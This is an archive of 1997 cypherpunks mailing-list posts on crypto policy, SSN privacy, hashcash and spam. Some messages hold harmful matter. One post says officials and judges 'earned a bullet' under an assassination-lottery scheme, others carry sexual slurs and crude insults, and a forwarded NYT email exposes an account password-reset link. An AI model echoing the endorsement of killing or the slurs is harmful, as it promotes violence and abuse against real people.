Message-ID: 



>Back in the Depression, the FDR-bullied Supremes ruled that a farmer
>feeding his own grain to his own hogs was affecting interstate commerce
>(in violation of federal regs on grain production), because he would
>otherwise have been buying grain that might have come from another state.
>Similarly, the federal drug laws contend that there's federal jurisdiction
>over all drugs, because it's not practical to determine whether a given
>bunch of drugs was locally produced or transported across state lines,
>and that there should therefore be a presumption that it was for
>determination of jurisdiction (even marijuana plants still in the ground;
>presumably if you were to ding them for that in court, they'd respond with
>the concept that growing your own dope to smoke by yourself is supplanting
>dope you might have otherwise bought from another state.  Or they'd decide
>the local cops can confiscate your land instead.)

I believe this is the type of systemic constitutional abuse, fostered by SC's expansive interpretations, which Jim Bell was attempting to address via AP.

>
>At 11:40 PM 12/15/1997 -0600, Jim Choate wrote:
>>So, are you considering such a broadcast? What I envision is a
>>text-to-speech and/or a digital format.
>
>You can get FM transmitters for about $30 at Fry's.  Not very powerful,
>and probably less than a mile range, but it may have hack value,
>especially if there were lots of them.

These devices are low power, but must still meet FCC type approvals (e.g., Part 15).  I'm talking about confronting the FCC on the legality of their jurisdiction over non-type approved, intrastate manufactured and utilized devices.

--Steve


PGP mail preferred, see  	http://www.pgp.com and
				http://web.mit.edu/network/pgp.html

RSA fingerprint: FE90 1A95 9DEA 8D61  812E CCA9 A44A FBA9
RSA key: http://keys.pgp.com:11371/pks/lookup?op=index&search=0x55C78B0D
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
Lammar Laboratories       |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: schear at lvdi.net
---------------------------------------------------------------------







From vznuri at netcom.com  Tue Dec 16 18:33:43 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Wed, 17 Dec 1997 10:33:43 +0800
Subject: freeh/crypto/reno
Message-ID: <199712170227.SAA02404@netcom13.netcom.com>




------- Forwarded Message

Date: Wed, 10 Dec 1997 15:36:21 -0800
From: "J. Orlin Grabbe" 
To: snetnews at world.std.com
Subject: SNET: [Fwd: FREEH SPEECH (repost)]


- ->  SearchNet's   SNETNEWS   Mailing List

This is a multi-part message in MIME format.
- --------------F4A2244C1A5A763B01795119
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit



- --------------F4A2244C1A5A763B01795119
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

From: softwar at us.net
Subject: FREEH SPEECH (repost)
Date: Wed, 10 Dec 1997 14:11:51 -0600
Reply-To: softwar at us.net
Message-ID: <881784054.228196354 at dejanews.com>
Newsgroups: alt.politics.clinton,alt.politics.org.cia,alt.politics.org.fbi,alt.politics.org.nsa,talk.politics.crypto
Organization: Deja News Posting Service
Path: news.alt.net!wnfeed!worldnet.att.net!128.230.129.106!news.maxwell.syr.edu!nntp2.dejanews.com!grunt.dejanews.com!not-for-mail
X-Article-Creation-Date: Wed Dec 10 20:00:55 1997 GMT
X-Authenticated-Sender: softwar at us.net
X-Http-User-Agent: Mozilla/3.0 (Win16; I)
X-Originating-IP-Addr: 198.240.101.30 (host30.richmond.us.net)
Xref: news.alt.net alt.politics.clinton:375281 alt.politics.org.cia:25294 alt.politics.org.fbi:13697 alt.politics.org.nsa:10505 talk.politics.crypto:20929

General Reno has declined to appoint an Independent Counsel to
investigate campaign abuses by the Clinton White House.  Several
Congressional leaders have sputtered they are concerned about
Ms. Reno's conflict of interest in the matter.  Of course, the
Republican specifics of her "conflict" never go past the fact
that she was appointed by Clinton.  However, the connections
between Ms. Reno and the Clinton scandals are well known to at
least one person inside the Beltway.

One example of Reno's conflict is the Clinton China Crypto Scam.
It was Reno's Justice Anti-Trust Division that authorized the
merger of a major company backed by a big donor to the DNC.  The
companies, RSA and Security Dynamics, sought the merger in 1996
just after RSA Chairman James Bidzos signed a memo of
understanding to perform "encryption research" with China.  The
donor, Sanford Robertson, paid $100,000 to the DNC just prior to
the merger.  Furthermore, Mr. Robertson was on the list of those
called by Al Gore from the White House and the MONEY arrived
just after Gore's call.  In fact, $20,000 of Robertson's
donation was split into a HARD money account by the DNC.  Of
course, Mr. Robertson's investment firm made a cool two million
dollars on the merger deal, spurred in part by the lucrative
RSA contract with the PRC.

Yet, Ms. Reno was also directed officially by President Clinton
to oversee the "encryption problem" and enforce policy.  For
example, according to recently declassified documents from the
Clinton National Security Council, Ms. Reno was tasked by
President Clinton in 1993 to oversee the Clipper project.  Ms.
Reno was directed by Clinton to purchase 9,000 Clipper phones
for the FBI.  In addition, Clinton directed Ms. Reno to prepare
Clipper for export.  Finally, Reno was tasked to convince the US
communications and computer industry to voluntarily implement
the Clipper "key escrow" back door into all US made products.
Simply put, Ms. Reno was, and is still, in charge of bugging
America's telephones.

Yet, how far can Ms. Reno go?  According to the Presidential
Directive, "Should (US) industry fail to fully assist the
government in meeting its requirements within a reasonable
period of time, the Attorney General will recommend legislation
which would compel manufacturers to meet government
requirements."

Thus, if we do not voluntarily give up our rights to privacy,
Ms. Reno is tasked by President Clinton with drawing up the laws
for "mandatory" government phone bugs.  Yet, there is
overwhelming evidence that Ms. Reno quietly turned her head as a
major DNC backer managed a deal involving the Communist Chinese
and advanced encryption technology.

Other than approving the lucrative RSA merger/export, Ms Reno
and the Justice Department are also major players in export
policy.  They are part of an Inter-Agency Working group
specifically tasked to cover crypto and exports.  As proof,
Reno's Justice Department has written most of the Clinton
encryption policy papers.  In fact, some of the secret documents
written by Reno's Justice Department on crypto policy were
compromised by former DNC fund-raiser Ira Sockowitz.  Sockowitz
walked out of the Commerce Department with over 2,000 pages of
secrets in 1996.  Ironically, included in the Sockowitz papers
are secret documents covering the 1996 RSA/China deal.

Curiously, Ms. Reno has chosen NOT to look into the matter.

The connections between Ms. Reno and the Clinton scandals are
also well known to at least one person inside the Beltway.  FBI
Director Louie Freeh knows.  He is aware of that advanced
technology was being shipped to China while draconian laws
banning the same technology were considered here.  Director
Freeh also knows that his boss, Ms. Reno, is deeply involved in
criminal obstruction involving high tech exports, DNC donors,
and her own Justice Department.  He knows she is covering for
crimes that she and her Department were charged to prevent.

The question now is...  Does Freeh have the guts to tell
America?

1 if by land, 2 if by sea.  Paul Revere - encryption 1775

Charles R. Smith
SOFTWAR
http://www.us.net/softwar

Pcyphered SIGNATURE:
3B766150F4B90D30688C657BB44EE7016793781A184F584E7C129D2A8A03F3F5
0B833ABFCE759CC129AF6A33B104406F19EB68AF61050087B65A66C94EA8B0B9
1D70D66883BCA304

- -------------------==== Posted via Deja News ====-----------------------
      http://www.dejanews.com/     Search, Read, Post to Usenet

- --------------F4A2244C1A5A763B01795119--


- -> Send "subscribe   snetnews " to majordomo at world.std.com
- ->  Posted by: "J. Orlin Grabbe" 


------- End of Forwarded Message






From tcmay at got.net  Tue Dec 16 18:35:02 1997
From: tcmay at got.net (Tim May)
Date: Wed, 17 Dec 1997 10:35:02 +0800
Subject: Identity, Persistence, Anonymity, and Accountability--Part I
In-Reply-To: 
Message-ID: 



At 1:40 PM -0700 12/15/97, Ulf M�ller wrote:

>Anyway, I don't expect the new list to sap energy from the cypherpunks
>list -- rather the contrary.  For example, Tim probably wouldn't have
>written his essay (and posted it to cypherpunks), if not for the Nym
>list.  Declan managed to get together a number of people who haven't
>been seen on cypherpunks for years, if ever.  Allowing posters (as
>opposed to readers, see above) on invitation only doesn't seem too bad
>to me.  The Nym list promises to be interesting.

Thank you (translation: danke schon, mitout der umlaut) for the kind
comments about my long two-part esssay.

I agree that any new list will generate _some_ new articles. I can't claim,
with all due respect to Declan, that the Nym list has generated any
partcularly new insights. Maybe it will, but for now most of what we are
seeing are initial points of view, recylings of long-held opinions.

I, for one, no longer have the energy to rewrite things I first posted in
1992 or 93. Maybe others will bring up new issues which can generate truly
new responses.

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From tcmay at got.net  Tue Dec 16 18:40:54 1997
From: tcmay at got.net (Tim May)
Date: Wed, 17 Dec 1997 10:40:54 +0800
Subject: Killing the Real Criminals
In-Reply-To: <3.0.3.32.19971216131730.00700e74@popd.ix.netcom.com>
Message-ID: 



At 5:05 PM -0700 12/16/97, Steve Schear wrote:
>>Back in the Depression, the FDR-bullied Supremes ruled that a farmer
>>feeding his own grain to his own hogs was affecting interstate commerce
>>(in violation of federal regs on grain production), because he would
>>otherwise have been buying grain that might have come from another state.
>>Similarly, the federal drug laws contend that there's federal jurisdiction

>I believe this is the type of systemic constitutional abuse, fostered by
>SC's expansive interpretations, which Jim Bell was attempting to address
>via AP.


Well, my personal view is that all of these burrowcrats and judges
certainly identified themselves as "needing killing."

Whether Bell's lottery system is the best way to accomplish this is
debatable, but these folks sure did earn a bullet.


--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From tcmay at got.net  Tue Dec 16 19:14:34 1997
From: tcmay at got.net (Tim May)
Date: Wed, 17 Dec 1997 11:14:34 +0800
Subject: The Joys of Being Canadian
In-Reply-To: 
Message-ID: 



At 8:54 PM -0700 12/15/97, Lynne L. Harrison wrote:

>When my cable company asked for my SSN, I told them that I was not going to
>disclose it.  Of course, the refusal sent the lame-brain into a brain-dead
>state. I finally volunteered that they could use my middle name for
>verification purposes.  I could actually hear the "Thank you for solving
>this problem!" in the employee's voice....

When I told the Department of Motor Vehicles (DMV) in California that I
would not be providnig my SS number, either from the tattoo on my forarm or
from the card which reads "Not to be used for identification," the droid
said, "Fine, then you won't get a driver's license."


(Not actually. In reality, I capitulated and gave my SS number, despite the
inappropriateness of the SS number as any kind of identifier. Someday there
will be a major court challenge to this practice of using the SS number as
a universal identifier, but I didn't feel like committing a couple of
hundred thousand dollars to fighting this for several years.)

As to Duncan's frequent "I'm a Canadian" point, the foreigners I've known
over the years have had to a) get an SS number, even if working for short
periods, or b) have had to produce their foreign-country passport.

So, Duncan, does this "But I'm Canadian, and I don't need to show you no
steenking cards!" shtick really, actually, work, or is this just a nice
theory?

(If it _really_ works, I'll tell a friend of mine from Denmark that she can
just tell all the SS number requesters that she's from Denmark.)


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From forgot at nytimes.com  Tue Dec 16 20:10:25 1997
From: forgot at nytimes.com (forgot at nytimes.com)
Date: Wed, 17 Dec 1997 12:10:25 +0800
Subject: NYT Account Request
Message-ID: <199712170353.WAA12181@content8a.nytimes.com>



You have requested your ID and password for The New York Times on the Web.
Please follow the instructions below.

1.  Please make a note of your subscriber ID:

nifft

2.  Next, to get the password for this account, using your Web browser go
to this unique URL:

http://www1.nytimes.com/forgot/snp.cgi?ul=nifft~475280

This page will allow you to choose a new password.  Make sure you have
copied the address EXACTLY as it appears here.  (If you're getting an
"Error" page, the address was probably entered incorrectly.  See "Help With
Copying and Pasting" at the bottom of this e-mail.)

3.  Follow the instructions on the screen to choose a new password.  After
you have entered a password you will automatically enter our Web site.


The New York Times on the Web
Customer Service
forgot at nytimes.com

********************

Help With Copying and Pasting

1.  Using the mouse, highlight the entire Web address, (e.g.
http://www1.nytimes.com/forgot/snp.cgi?ul=nifft~475280) 
shown above in step 2.  It's essential
to highlight the entire address, even if it extends over two lines.
2.  Under the Edit menu at the top of your screen, select "Copy".
3.  Go into your Web browser (open it if it's not already opened).
4.  Click in the "Netsite" or "Address" bar -- the place in your Web
browser where it says what Web address you're currently looking at -- and
delete the address that's currently there.
5.  In the blank "Netsite" or "Address" bar, paste the address by selecting
the "Edit" menu at the top of your screen and choosing "Paste".
6.  Press Enter.
7.  Follow the instructions to choose a new password.

********************

If you did not request your ID and password for your NYT Web registration,
someone has mistakenly entered your e-mail address when requesting their
password. Please simply ignore this message, or, if you wish, you may go to
the address above to select a new password for your account.






From jya at pipeline.com  Tue Dec 16 20:26:15 1997
From: jya at pipeline.com (John Young)
Date: Wed, 17 Dec 1997 12:26:15 +0800
Subject: UK spooks invent RSA, DH in 1973
Message-ID: <1.5.4.32.19971217041639.00758bfc@pop.pipeline.com>



Peter Gutmann wrote:

>There's an interesting paper at http://www.cesg.gov.uk/ellisint.htm which 
>claims that UK spooks invented both RSA and DH in 1973 and 1974 respectively.

We've converted the Ellis Postscript doc to HTML:

     http://jya.com/ellisdoc.htm






From pooh at efga.org  Tue Dec 16 20:28:21 1997
From: pooh at efga.org (Robert A. Costner)
Date: Wed, 17 Dec 1997 12:28:21 +0800
Subject: The Joys of Being Canadian
In-Reply-To: <3.0.3.32.19971215225418.0069f33c@pop.mhv.net>
Message-ID: <3.0.3.32.19971216231706.03a84188@mail.atl.bellsouth.net>



I guy I know recently arrived here from Australia.  He works for a company
that maintains a database of all people throughout the world who have
telephones.  They have live connections to almost all phone companies and
provide lookups for most major government agencies.  The service is housed
here in Atlanta.  The same company also provides x.500 systems.

As he does not have a social security number, and certainly does not care
to get fingerprinted for a driver's license, he has found that he cannot
cash a check or do simple things that require a social security number.  A
side issue that relates to his visa is that he also is not allowed to leave
the country and go visit Australia for a certain period of time.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh at efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key






From fabrice at math.Princeton.EDU  Tue Dec 16 20:35:44 1997
From: fabrice at math.Princeton.EDU (Fabrice Planchon)
Date: Wed, 17 Dec 1997 12:35:44 +0800
Subject: The Joys of Being Canadian
In-Reply-To: 
Message-ID: <19971216232911.50392@math.princeton.edu>



On mar 16 d�c  1997 � 07:13:44PM -0700, Tim May wrote:
> As to Duncan's frequent "I'm a Canadian" point, the foreigners I've known
> over the years have had to a) get an SS number, even if working for short
> periods, or b) have had to produce their foreign-country passport.

Or both of them, actually (NJ...)

> (If it _really_ works, I'll tell a friend of mine from Denmark that she can
> just tell all the SS number requesters that she's from Denmark.)

On a previous (shorter) stay in the US, I didn't have a SSN. Yet I got a
DL (with my passport) (this was Missouri). And after a few long
discussions on the phone on why I didn't have a SSN, I gave up the
explanations and started giving my french SSN (after all, it was a valid
answer to the question "what is your social security number"), actually
a substring. Interestly enough, SSNs in France are not supposed to be
used for identification or taxes purposes, just for medical purposes
IIRC. A recent project by the government to link medical databases and
tax database opened a controversial discussion...

                         F.

-- 
Fabrice Planchon                                          (ph) 609/258-6495
Applied Math Program, 210 Fine Hall                      (fax) 609/258-1735








From anon at anon.efga.org  Tue Dec 16 21:06:18 1997
From: anon at anon.efga.org (Anonymous)
Date: Wed, 17 Dec 1997 13:06:18 +0800
Subject: No Subject
Message-ID: <78bf400a35af6e25e1d3f0a89c58280f@anon.efga.org>



Hotmail, Juno, Aol...  

> 
> How about using the email address as the hostage info?  The goods are sent to
> the email address, so the sender knows that the email address is good.  On
> breach of contract, the sender has the option of selling the email address of
> the reciever to a bunch of known spammers.
> 
> More rambling...  ;)
> 
> --
> Steve
> 
> P.S. If this particular contribution to your idea goes anywhere, I want credit.  :)
> 


-- 






From vin at shore.net  Tue Dec 16 21:42:37 1997
From: vin at shore.net (Vin McLellan)
Date: Wed, 17 Dec 1997 13:42:37 +0800
Subject: Comparing PGP to Symantec's Secret Stuff
In-Reply-To: 
Message-ID: 



	Adam Shostack  wrote:

>	Having worked for those multinationals and defense
>contractors, I've seen them buy new products with serious weaknesses
>in key generation, with year 2000 problems, with stream ciphers used
>to protect stored data--keyed the same way each time.  I've seen them
>use code that sent cleartext where it should have been encrypting on
>the wire.
>
>	I could retire a rich man if I never wanted to come back to
>the US.
>
>	Do due dilligence yourself.  Read the snake oil faq.  Insist
>on speaking to someone at the vendor with two brain cells to rub
>together.  If they claim Acme bought it so you should, too, insist on
>speaking to the security folks at Acme who did the eval.  Its your
>money.  Its their security product.  Feel free to evaluate it right.
>If the vendor won't cooperate, go elsewhere.

	Now how could anyone disagree with that;-)

	The problem is: how does someone like my online correspondent from
Jakarta, a self-described innocent in cryptography, deal with his need to
purchase a commercial crypto product now.  I was suggesting helpful
guidelines for a guy with a decision to make, not an optimal solution for a
crypto-savvy buyer in a consumers' paradise.

	If he can get the odds in his favor as far as the basic security of
the products he is choosing among, what he (most managers) will look for is
ease of use, even transparency.

	Come the Revolution, we'll make them all show their stuff, publish
the source code, and dance in the streets.

	Then, of course, we'll have to force other guys to study it and
report to us.

	Once we develop some system of retribution for those who review in
ignorance or exhibit bias, I'm certain we'll have the problem licked.... ;-)

>	The product I'm building uses 'brand name' cryptography--
>libraries and tools from well known sources.  It takes a bit of speed
>away (I'd have prefered to use X9.17 over SSL for our bits on the
>wire, but I couldn't find a peer reviewed X9.17 library out there.)


>Vin McLellan wrote:
>
>|    The lack of published source code is an issue, but if you see such a
>| product being purchased by multinationals or US defense contractors you
>| can be certain the implementation -- which is the real arena of
>| vulnerability, once the algorithm is chosen -- has been carefully studied
>| by informed cryptographers. (For non-American product, look for similar
>| purchases by government-connected agencies in the vendor's nation.)
>
>
>
>--
>"It is seldom that liberty of any kind is lost all at once."
>					               -Hume


      Vin McLellan + The Privacy Guild + 
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548
                                  -- <@><@> --







From frantz at netcom.com  Tue Dec 16 21:54:42 1997
From: frantz at netcom.com (Bill Frantz)
Date: Wed, 17 Dec 1997 13:54:42 +0800
Subject: Comparing PGP to Symantec's Secret Stuff
In-Reply-To: 
Message-ID: 



At 3:01 AM -0800 12/16/97, Vin McLellan wrote:
>   Norton Secret Stuff secures the data using the 32-bit Blowfish
>encryption algorithm -- which is why it's approved for unrestricted export
>outside the US by the U.S. government.

This is the first I've heard of a Blowfish based produce being approved for
export.  Since Blowfish has about 9 bits worth of protection against brute
force searches in its key schedule, this is about a 41 bit approval.  Does
anyone know of an export permit for a version of Blowfish with a key longer
than 32 bits?


-------------------------------------------------------------------------
Bill Frantz       | One party wants to control | Periwinkle -- Consulting
(408)356-8506     | what you do in the bedroom,| 16345 Englewood Ave.
frantz at netcom.com | the other in the boardroom.| Los Gatos, CA 95032, USA







From attila at hun.org  Tue Dec 16 23:08:36 1997
From: attila at hun.org (Attila T. Hun)
Date: Wed, 17 Dec 1997 15:08:36 +0800
Subject: Challenge to Toto [was: It's Sunday]
In-Reply-To: <348AC569.5793@dev.null>
Message-ID: <19971216.042940.attila@hun.org>



-----BEGIN PGP SIGNED MESSAGE-----

on or about 971207:0948, in <348AC569.5793 at dev.null>, 
    TruthMonger  was purported to have 
    expostulated to perpetuate an opinion:

 [snip the beer, etc.]

>  After spending what might be considered an inordinate amount of
> time seeking an ISP which will allow me to put a picture on my web  site of
> Bill Gates blowing me and fucking a Jew while I am naked, I consider myself
> somewhat of an unofficial expert on freedom of speech.
>
>  To badly paraphrase Harry Browne, "You have a right to say 
> whatever your mom and dad don't slap you silly (and send you to
> bed without your supper) for saying."
>
    well, let's call for cards on the table. I have Toto's
    Fantasy Island dream world all set to go. all it needs is
    this picture to substitute for the hardcore I found by
    trying Alta Vista's family search with 'fuckin porn'
    --everything nicely bound in scrapbook form, etc.

        http://www.primenet.com/~attila

    access toto's Fantasy Island "dream come true" via the
    yellow circle with 'toto' in the left sidebar next to
    another surprise with an automatic window and jump. touch
    old cigar face robber baron and you'll find some of my Gate$
    rants; other rants off the topbar.

    if nothing else, enjoy the feelthie pictures and wait for
    toto to answer the challenge so I can replace the pictures
    in the stock dream with the real thing.  the old goose is
    waiting to fly you out to the unctious pair.

    well, how about it, toto? --cough the pics up!
    we're all anxious to see your conquest.

    fight censorship, feelthie pictures and all.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNJYIJ7R8UA6T6u61AQGW8QH/Uz75E3vt+fG0VHgaM6HFZ+vYmFQ8akK2
k8HuDp6cofajZVf7Phnx+PJg+3rLiIM/eCESZdo6zr+Dqy9VYVscEA==
=Fexi
-----END PGP SIGNATURE-----







From honig at otc.net  Wed Dec 17 15:24:08 1997
From: honig at otc.net (David Honig)
Date: Wed, 17 Dec 1997 15:24:08 -0800 (PST)
Subject: No Subject
Message-ID: <3.0.5.32.19971217152405.007e38c0@otc.net>





You will note that you are reading prima facie evidence of violation of
this new law.


Wednesday December 17 11:58 AM EST 

New Law Crack Down on Internet Theft

WASHINGTON (Reuters) - President Clinton signed into law on Tuesday a
controversial bill imposing criminal penalties on
copyright violators even if they do not profit from their actions, the
White House executive clerk's office said Wednesday. 

The No Electronic Theft Act, passed by Congress last month, was strongly
backed by the software and entertainment
industries but opposed by science and academic groups. 

Under the law, a person who "willfully" infringes on copyrighted material
worth at least $1,000 could be subject to criminal
prosecution even if he does not make money. 

Under current law, copyright violators cannot be charged with criminal
misconduct unless they profit from the violations. 

Software and entertainment groups, including the Business Software
Alliance, the Motion Picture Association and the
Association of American Publishers, said the change was essential to
protect software, music recordings and other creative
products easily pirated over the Internet. 

They cited a 1994 court case dismissing criminal copyright charges against
an Massachusetts Institute of Technology student
who posted on the Internet for free downloading copies of popular software
programs. 

But last month a leading group of scientists, the Association for
Computing, wrote to Clinton asking him to veto the bill
because it might inadvertently criminalize many scientific publications
available over the Internet, and might limit the "fair use"
doctrine. 

The new law includes a sliding scale of penalties depending on the severity
of the copyright infringement. 

For making one or more copies with a total retail value of at least $1,000
but less than $2,500, the violator could be imprisoned
for up to one year and fined up to $100,000. 

For copies with a retail value of $2,500 or more, the violator could
imprisoned for up to three years and fined up to $250,000.
A second offense could lead to a prison term of up to six years. 

------------------------------------------------------------
      David Honig                   Orbit Technology
     honig at otc.net                  Intaanetto Jigyoubu

	M-16 : Don Quixote :: PGP : Louis Freeh
         Let freedom ring (or screech at 28.8)

















From nobody at REPLAY.COM  Wed Dec 17 00:06:07 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Wed, 17 Dec 1997 16:06:07 +0800
Subject: "where would you find"
Message-ID: <199712170745.IAA10932@basement.replay.com>



>The latest virtual  XXX entertainment  that is as good...well ALMOST as good as the REAL THING?
>
>
>HERE
>
>
>http://www.succuba.com
>
>WARNING:
>
>1.  YOU MUST BE OVER 18 YEARS OF AGE
>
>2.  YOU MUST HAVE A STRONG HEART ;)
>
>3.  IT'S HOTTTTTTTT ;}

Yes, friends, it's the demon site, straight from hell. It's that evil spirit
which has sexual intercourse with men in their sleep. It even steals
resources from thousands of others in the community! You too can pay for
pictures of nude demons to look at while you're asleep!






From bill.stewart at pobox.com  Wed Dec 17 00:20:02 1997
From: bill.stewart at pobox.com (Bill Stewart)
Date: Wed, 17 Dec 1997 16:20:02 +0800
Subject: The naming of the Presidential Pooch
In-Reply-To: 
Message-ID: <3.0.3.32.19971217000335.007664a8@popd.ix.netcom.com>



At 02:23 PM 12/16/1997 -0500, Declan McCullagh wrote:
>	Q     Mr. President, where does he sleep?  Where does the puppy sleep?
>	PRESIDENT CLINTON:  Upstairs.
>	Q     Upstairs?  Does he have his own little doggy bed?
>	PRESIDENT CLINTON:  He has a little house in the kitchen.  He's
>sleeping in the kitchen right now.
>	Q     Does he sleep in a little dog house?
>	PRESIDENT CLINTON:  Yeah, he sleeps in a little dog house.  And we
>got another -
....
>	PRESIDENT CLINTON:  Socks was a little scared of him, I think. And
>yesterday - you could have had a great picture yesterday.  She jumped way
>up - he jumped way up on my shoulder.  Socks climbed right up and got up on
>my shoulders so that they would have an appropriate distance.  But we're
>giving them items that the two of them have, you know, to try to get used
>to the scent.  And I'll get it worked out.
>	Q     What's his name?
>	Q     He likes grass.

But - does he inhale?  :-)
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From phelix at vallnet.com  Wed Dec 17 02:02:33 1997
From: phelix at vallnet.com (phelix at vallnet.com)
Date: Wed, 17 Dec 1997 18:02:33 +0800
Subject: message dependent hashcash => no double spend database  (Re: hashcash spam prevention & firewalls)
In-Reply-To: <3.0.3.32.19971214234241.03899220@mail.atl.bellsouth.net>
Message-ID: <349b9ea2.5036920@128.2.84.191>



On 17 Dec 1997 02:21:48 -0600, in local.cypherpunks you wrote:

>.....
>> The implementation of the plan is a more or less impossible scheme. 
>
>Nyet. It can be phased in over time...people install the software, mailing
>lists warn their users to exempt them, and the big servers start asking for the
>hashcash, little servers pick it up. 
>
>.....

Yes, but if you just phase it in over time, what benefit, if any, will
users see until hashcash is fully deployed.  Until that time, people will
still have to accept email without hashcash or risk losing important
messages.  

We need to find some way for users to benefit from hashcash now, not 2
years from now when 90% of sites are using it.  The only thing I can think
of is having servers place "Hashcash-verified" headers on incoming mail so
that users can do positive filtering ("this is valid email") rather than
negative filtering ("this is spam").

I don't see people adopting hashcash unless there is some intermediate
benefit to doing so.

-- Phelix






From gwb at gwb.com.au  Wed Dec 17 18:38:01 1997
From: gwb at gwb.com.au (Global Web Builders)
Date: Wed, 17 Dec 1997 18:38:01 -0800 (PST)
Subject: Christmas greetings from Pauline Hanson
Message-ID: <1.5.4.16.19971218115821.2c9f5370@mail.pronet.net.au>


Dear Pauline Hanson's One Nation Supporter in NSW,

1997 has been an eventful year in Australian politics.

1997 will be remembered as the year when Australians at last said that they
had had enough.

Enough of the lies and deception churned out by the major political parties.

1997 will be remembered as the year that Pauline Hanson's One Nation grew
from a fledgling party launched in April to a major political force with a
branch network of over 200 branches.

A quite remarkable achievement. An achievement which could not have been
realised without the dedication and commitment of national director David
Ettridge and his Manly office team.

1997 will be remembered as a year of intimidation. Intimidation by
well-organised protesters with strong links to the Australian Labor Party.

The violence of these protesters against the Australian way of life - giving
everyone a 
'fair-go' and the media's blatantly biased reporting against One Nation
failed to destroy the will and desire of the people to support me.

1997 will be remembered as the year in which a few tried to cause a split in
the One Nation party. 

They knew that the media would report anything negative about the party. And
they did. No matter that in all cases it was just a handful of troublemakers
who tried to hijack the party for their own political gain.

They failed. 

Today One Nation is more than just a phenomenon it is a real living party.
It is made up of people like you and me. It is part of the political fabric
in Australia.

Looking ahead we will face many challenges together. We must continue to
fight for equality for all Australians. We must continue to fight to protect
our country from becoming a slave to the multinationals and international
bodies. 

During this Christmas break we all have the opportunity to look back and see
what we have achieved and to look forward to see what has still got to be
done in the coming years.

I wish you and your family all the best over Christmas and the New Year. God
bless and may all your dreams come true.


Pauline Hanson






From nobody at REPLAY.COM  Wed Dec 17 02:58:54 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Wed, 17 Dec 1997 18:58:54 +0800
Subject: OTP
Message-ID: <199712171047.LAA28637@basement.replay.com>



Tim C[ocksucker] May's abysmal grammar, atrocious spelling and feeble 
responses clearly identify him as a product of the American education system.

          0
        //\/ Tim C[ocksucker] May
       \/\
     ... /






From perry at alpha.jpunix.com  Wed Dec 17 04:14:17 1997
From: perry at alpha.jpunix.com (John A. Perry)
Date: Wed, 17 Dec 1997 20:14:17 +0800
Subject: m2n@alpha.jpunix.com is down
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

	Now that I've posted that operating a mail2news gateway is a
minimal effort, the m2n at jpunix.com has been under a steady spam attack
for the past 72 hours. I fought it all day yesterday and came in this
morning to find that the spammer had just moved to a different ISP and
started spamming again. I have no choice but to shut down the m2n for now
in order to stop the spam. If anyone is interested the body of the spam
looks like this:

Subject: Publicity agents are fun!

Hoping you'll have a superly-NICE
nite, a FUN day tomorrow, and the
most excellent TIMES forever more.

- --------------------------------------

This message was brought to you by
MarketCom's MktAgent, the interNet's
premier webwalking publicity engine.

Locate over 100,000 Email penpals in
only 5 days with our FREE demo model.

http://www.MarketCom.com/MktAgent/

	Of course everyone on USEnet is blaming jpunix.com for the SPAM
but I knew that would happen when I first started the m2n. Anyway here's
hoping that the spammer will get tired and move on and then I'll be able
to start it back up.

 John Perry KG5RG perry at alpha.jpunix.com PGP-encrypted e-mail welcome!
 Amateur Radio Address: kg5rg at kg5rg.ampr.org
 WWW - http://www.jpunix.com
 PGP 2.62 key for perry at jpunix.com is on the keyservers.



-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBNJfAr1OTpEThrthvAQEdXQP/Sc7IVlvi1GbuVMZ+Nv3rWPluxybxZpuJ
oSSNI0LObO20dBhI3IZIiWof5I3jpwoIuT8Ha/6IOLO7Rxmat9xj1h3E4j/Mrb6b
diTaRiifPG1MiMeuNIYkPSefwqInlQrKSIQ28SEn3/Mc8WclWXEU3+8MQ/gsNc/c
E3QZ71TegtM=
=LH3k
-----END PGP SIGNATURE-----






From gurski at solipsys.com  Wed Dec 17 05:33:36 1997
From: gurski at solipsys.com (Mike Gurski)
Date: Wed, 17 Dec 1997 21:33:36 +0800
Subject: Dr. Dobbs Crypto CD
Message-ID: <199712171325.IAA08971@bastion.solipsys.com>



Has anyone received their DDJ crypto CD that's been advertised for the
past half year?


--
Michael Gurski                            mailto:gurski at solipsys.com
Solipsys Corporation                         http://www.solipsys.com
6100 Chevy Chase Drive, Suite 200                phone:(301)483-0423
Laurel, MD  20707-2929                             fax:(301)483-8901







